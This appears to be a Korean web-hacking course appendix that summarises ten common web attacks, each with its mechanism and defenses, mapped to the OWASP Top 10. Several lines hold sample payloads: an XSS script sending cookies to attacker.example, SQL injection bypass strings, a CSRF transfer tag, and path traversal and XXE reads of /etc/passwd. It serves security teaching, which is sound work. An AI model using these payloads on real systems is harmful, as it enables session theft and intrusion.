부록 A. 웹 해킹 — 주요 공격 기법 총정리

부록 A. 웹 해킹 — 주요 공격 기법 총정리

  • 대상 독자: Level 2 이상을 마친 분 (웹 공격 실습 경험자)
  • 용도: 시험 대비 요약본, 면접 대비 정리, 복습용 지도

⚠️ 이 부록의 모든 기법은 내 랩·합법 플랫폼(로컬 실습 환경, Natas, DVWA, HTB 등)에서만 사용해야 합니다. 허가 없는 시스템에 적용하면 정보통신망법·형법상 범죄입니다.

여러분이 Level 2와 Level 3에서 하나씩 배운 웹 공격들을 한곳에 모았어요. 각 기법은 정의 → 원리 → 공격 흐름 → 방어 → 연관 Step 순서로 정리했습니다. 시험이나 면접 전에 이 부록만 훑어도 전체 그림이 다시 그려질 거예요.

A-0. 한눈에 보는 웹 공격 지도

# 기법 공격 대상 핵심 한 줄 연관 Step
1 SQL Injection 데이터베이스 입력이 쿼리가 된다 Step 104, 120~
2 XSS 다른 사용자의 브라우저 입력이 스크립트가 된다 Level 2 웹 파트
3 CSRF 로그인된 세션 브라우저가 대신 보낸다 Level 2 웹 파트
4 SSRF 서버 내부망 서버가 대신 요청한다 Level 2~3 웹 파트
5 파일 업로드 웹 서버 자체 파일이 곧 코드가 된다 Level 2 웹 파트
6 경로 조작 (LFI/Path Traversal) 서버 파일시스템 ../가 금고를 연다 Level 2 웹 파트
7 IDOR 다른 사용자의 데이터 번호만 바꿔도 보인다 Level 2 웹 파트
8 XXE XML 파서 외부 엔티티가 파일을 읽는다 Level 3 웹 심화
9 역직렬화 애플리케이션 객체 데이터가 실행 흐름이 된다 Level 3 웹 심화
10 인증·세션 공격 로그인 체계 티켓을 훔치면 본인이다 Level 2~3

A-1. SQL Injection (SQLi)

정의: 사용자 입력이 SQL 쿼리문의 일부로 그대로 들어가서, 공격자가 데이터베이스에 원하는 질의를 실행하는 공격이에요.

원리: 개발자가 "... WHERE id = '" + 입력 + "'"처럼 문자열을 이어 붙여 쿼리를 만들면, 입력에 ' OR '1'='1 같은 조각을 넣어 쿼리의 구조 자체를 바꿀 수 있습니다. 입력이 "데이터"가 아니라 "명령"이 되는 순간이 핵심이에요.

공격 흐름:

  1. 입력칸에 '를 넣어 에러를 유발해 취약점 존재를 확인
  2. ' OR '1'='1' --로 인증 우회 시도
  3. UNION SELECT로 다른 테이블의 열을 결과에 붙여 데이터 탈취
  4. Blind SQLi(참/거짓 반응, 시간 지연)로 화면에 결과가 안 보여도 한 글자씩 추출

방어: Prepared Statement(파라미터 바인딩)가 정답입니다. 쿼리 구조와 데이터를 분리하면 입력이 아무리 악의적이어도 데이터로만 처리돼요. ORM 사용, 최소 권한 DB 계정, 에러 메시지 비공개가 보완책입니다.

A-2. XSS (Cross-Site Scripting)

정의: 공격자의 스크립트가 다른 사용자의 브라우저에서 실행되는 공격이에요. 피해자는 서버를 신뢰하고, 서버가보낸 페이지에 공격자의 코드가 섞여 있는 상태입니다.

세 가지 유형:

  • Stored XSS: 악성 스크립트가 DB에 저장돼서 게시물을 읽는 모든 사람에게 실행 (가장 위험)
  • Reflected XSS: URL 파라미터의 스크립트가 응답에 그대로 반사. 피해자가 링크를 클릭해야 함
  • DOM-based XSS: 서버 응답은 정상인데, 프론트엔드 JS가 입력을 검증 없이 DOM에 삽입

공격 흐름: <script>document.location='https://attacker.example/steal?c='+document.cookie</script> 같은 페이로드로 세션 쿠키를 탈취하고, 그 쿠키로 피해자 계정에 로그인해요.

방어: 출력 인코딩(HTML 이스케이프)이 기본, HttpOnly 쿠키로 JS의 쿠키 접근 차단, CSP(Content-Security-Policy) 헤더로 스크립트 출처 제한.

A-3. CSRF (Cross-Site Request Forgery)

정의: 피해자가 로그인된 상태에서 악의적인 페이지를 방문하면, 그 페이지가 피해자의 브라우저를 통해 정상 사이트에 요청을 몰래 보내는 공격이에요. 브라우저가 쿠키를 자동으로 첨부한다는 점을 악용합니다.

공격 흐름: 피해자가 은행에 로그인된 상태에서 공격자의 페이지를 열면, 숨겨진 <img src="https://bank.example/transfer?to=attacker&amount=1000000">가 자동으로 송금 요청을 보내요. 은행 서버 입장에서는 쿠키가 맞으니 정상 요청입니다.

방어: CSRF 토큰(요청마다 예측 불가능한 값 검증), SameSite 쿠키 속성, 중요 작업의 재인증.

A-4. SSRF (Server-Side Request Forgery)

정의: 서버가 외부 URL을 가져오는 기능(이미지 미리보기, 웹훅 등)을 악용해, 서버에게 공격자가 원하는 주소로 요청을 보내게 하는 공격이에요.

왜 위험한가: 서버는 방화벽 안쪽에 있으니까, 외부에서 직접 닿을 수 없는 내부망(192.168.x.x, 127.0.0.1, 클라우드 메타데이터 엔드포인트 169.254.169.254)에 접근할 수 있어요. 클라우드 환경에서는 메타데이터 서버에서 임시 자격증명을 탈취하는 것이 대표 시나리오입니다.

방어: 허용 목록(allowlist) 기반 URL 검증, 내부 IP 대역 차단, 메타데이터 엔드포인트 접근 제한(IMDSv2).

A-5. 파일 업로드 취약점

정의: 프로필 사진 업로드 같은 기능에 실행 가능한 파일(웹셸)을 올려 서버에서 명령을 실행하는 공격이에요.

우회 기법들: 확장자 이중화(shell.php.jpg), Content-Type 헤더 위조, 퍼센트 인코딩, 이미지 매직 바이트 위장. 서버가 확장자만 검사하면 뚫려요.

방어: 확장자+MIME+매직 바이트 삼중 검증, 업로드 디렉터리의 실행 권한 제거, 파일명 무작위화, 웹 루트 밖 저장.

A-6. 경로 조작 (Path Traversal / LFI)

정의: 파일명을 받는 기능에 ../../../../etc/passwd를 넣어 서버의 임의 파일을 읽는 공격이에요. LFI(Local File Inclusion)는 여기서 한 걸음 더 나아가 로그 파일 등에 심어둔 코드를 포함시켜 실행까지 갑니다.

방어: 파일명을 화이트리스트로 검증하거나, realpath 결과가 허용 디렉터리 안인지 확인. 사용자 입력을 경로에 직접 쓰지 않는 것이 근본 해결책이에요.

A-7. IDOR (Insecure Direct Object Reference)

정의: /user/profile?id=1234에서 1234를 1235로 바꿨는데 다른 사람 정보가 보이는, 가장 단순하지만 실무에서 가장 자주 발견되는 취약점이에요. "인증은 됐는데 인가(권한 확인)가 없는" 상태입니다.

방어: 모든 객체 접근에 소유권 검증. "로그인했나?" 다음에 반드시 "이 데이터가 이 사람 건가?"를 물어야 해요.

A-8. XXE (XML External Entity)

정의: XML 파서가 외부 엔티티를 처리할 때, <!ENTITY xxe SYSTEM "file:///etc/passwd"> 같은 선언으로 서버 파일을 읽거나 내부 요청을 보내는 공격이에요.

방어: XML 파서의 외부 엔티티 처리 비활성화(DTD 비활성화). 현대 프레임워크는 기본 비활성화인 경우가 많지만, 레거시 시스템은 반드시 확인하세요.

A-9. 안전하지 않은 역직렬화

정의: 직렬화된 객체(Java, PHP, Python pickle 등)를 검증 없이 역직렬화할 때, 공격자가 만든 객체가 코드 실행으로 이어지는 공격이에요. pickle의 __reduce__ 같은 매직 메서드가 대표적인 실행 경로입니다.

방어: 신뢰할 수 없는 데이터의 역직렬화 자체를 피하고, JSON 같은 데이터 전용 포맷 사용. 꼭 필요하면 서명 검증 후 역직렬화하세요.

A-10. 인증·세션 공격

정의: 로그인 체계 자체를 공격하는 기법들이에요.

  • 세션 하이재킹: XSS나 네트워크 도청으로 세션 쿠키 탈취
  • 쿠키 변조: 서버가 쿠키 값을 검증 없이 신뢰할 때 role=userrole=admin으로 변경
  • JWT 공격: alg=none 우회, 약한 비밀키 브루트포스, 키 혼동(RS256→HS256)
  • 브루트포스/크리덴셜 스터핑: 로그인 시도 제한이 없으면 사전 공격으로 계정 탈취 (부록 C 참조)

방어: 세션 ID의 충분한 엔트로피, 로그인 시도 제한·계정 잠금, JWT의 강한 키와 알고리즘 고정, 쿠키 보안 속성(HttpOnly, Secure, SameSite).

A-11. OWASP Top 10과의 연결

실무 보고서와 면접에서는 OWASP Top 10(2021) 분류를 기준으로 대화해요. 위 기법들의 자리는 이렇습니다.

OWASP 항목 해당하는 이 부록의 기법
A01 Broken Access Control IDOR, 경로 조작, SSRF 일부
A02 Cryptographic Failures 세션/쿠키 보안 설정 미비
A03 Injection SQLi, XSS, XXE
A04 Insecure Design CSRF 방어 누락 같은 설계 결함
A05 Security Misconfiguration 파일 업로드 검증 누락, 디렉터리 리스팅
A07 Identification and Authentication Failures 인증·세션 공격, 브루트포스
A08 Software and Data Integrity Failures 역직렬화

정리

웹 공격의 공통 뿌리는 하나예요. "입력을 신뢰했다"는 것. 입력이 쿼리가 되고(SQLi), 스크립트가 되고(XSS), 경로가 되고(LFI), 객체가 되는(역직렬화) 순간마다 취약점이 태어납니다. 방어도 하나로 수렴해요. 입력은 데이터로만 처리하고, 요청마다 권한을 확인하고, 실패를 가정한 설계를 하는 것입니다.

각 기법의 실습은 본문 Level 2(Step 96~175)와 Level 3 웹 심화 챕터에서 다루고 있으니, 이 부록은 지도로 활용하고 본문으로 돌아가 손으로 다시 확인하세요.